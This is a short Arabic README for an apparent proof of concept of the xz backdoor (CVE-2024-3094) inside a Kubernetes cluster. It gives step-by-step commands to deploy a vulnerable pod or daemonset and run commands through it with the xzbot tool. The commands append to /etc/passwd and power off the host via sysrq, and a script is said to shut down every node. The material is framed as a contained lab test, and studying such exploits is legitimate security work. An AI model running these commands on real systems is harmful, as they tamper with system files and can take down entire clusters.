
POC أساسي لاختبار ثغرة CVE-2024-3094 داخل K8s cluster
POC أساسي لاختبار ثغرة CVE-2024-3094 داخل مجموعة K8s
سنقوم بنشر بود ضعيف واستغلاله لتنفيذ أوامر داخل تلك البودات الضعيفة، سنفعل ذلك داخل نفس الشبكة لأسباب أمنية. لن نقوم بتعريض البود الضعيف للإنترنت، لكن المفهوم نفسه.
تتيح هذه الثغرة تنفيذ أوامر داخل البود، حتى لو كان البود يعمل بسياق أمني، يمكنك مثلاً إيقاف تشغيل المضيف الذي يعمل عليه البود.
إذا كانت هذه الثغرة تعمل في بود واحد، يمكنك إيقاف تشغيل المضيف، مما يجعل جميع الخدمات التي تعمل على هذا المضيف غير متاحة مؤقتاً. ولكن، إذا كانت الثغرة تعمل كـ daemonset، يمكنك إيقاف تشغيل جميع المضيفات التي تعمل عليها تلك الـ daemonset، وقد يتسبب ذلك في إيقاف تشغيل المجموعة بأكملها.
أولاً، قم بتثبيت xzbots في المجموعة
go install github.com/amlweems/xzbot@latest
قم بتنزيل المستودع ونشر الـ deployment/daemonset الضعيف
git clone https://github.com/shefirot/CVE-2024-3094.git
cd CVE-2024-3094
# Deployment
kubectl apply -f deploy_cve-2024-3094.yml
# أو daemonset
kubectl apply -f daemonset_cve-2024-3094.yml
# احصل على اسم البود
kubectl -n vulnes get pods
# قم بعمل port forward للبود
kubectl -n vulnes port-forward <pod-name> 2225:22
# نفّذ أمراً، مثلاً للكتابة في /etc/passwd
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo "David estuvo aqui" >> /etc/passwd'
# تحقق من ملف /etc/passwd
kubectl -n vulnes exec <pod-name> -- /usr/bin/cat /etc/passwd
تقدم وأوقف تشغيل المضيف
# تفعيل sysrq
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo 1 > /proc/sys/kernel/sysrq'
# إيقاف تشغيل المضيف
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo o > /proc/sysrq-trigger'
يمكنك أيضاً إيقاف تشغيل جميع المضيفات التي تعمل عليها الـ daemonset
source shutdown_nodes.sh
عند تنفيذ الحلقة لإيقاف تشغيل جميع المضيفات، إذا تلقيت هذا الخطأ:
2024/06/11 12:08:58 dial tcp 127.0.0.1:2225: connect: connection refused
امنح مزيداً من الوقت ليكون port forward جاهزاً، يمكنك زيادة وقت النوم (sleep) في الحلقة.
تم إنشاء صورة الحاوية المستخدمة باستخدام ملف dockerfile الموجود في المستودع، يمكنك إنشاء الصورة ودفعها إلى سجل الصور الخاص بك.
لإنشاء مكتبة liblzma.so.5.6.0.patch، يمكنك استخدام مستودع amlweems المذكور في المراجع.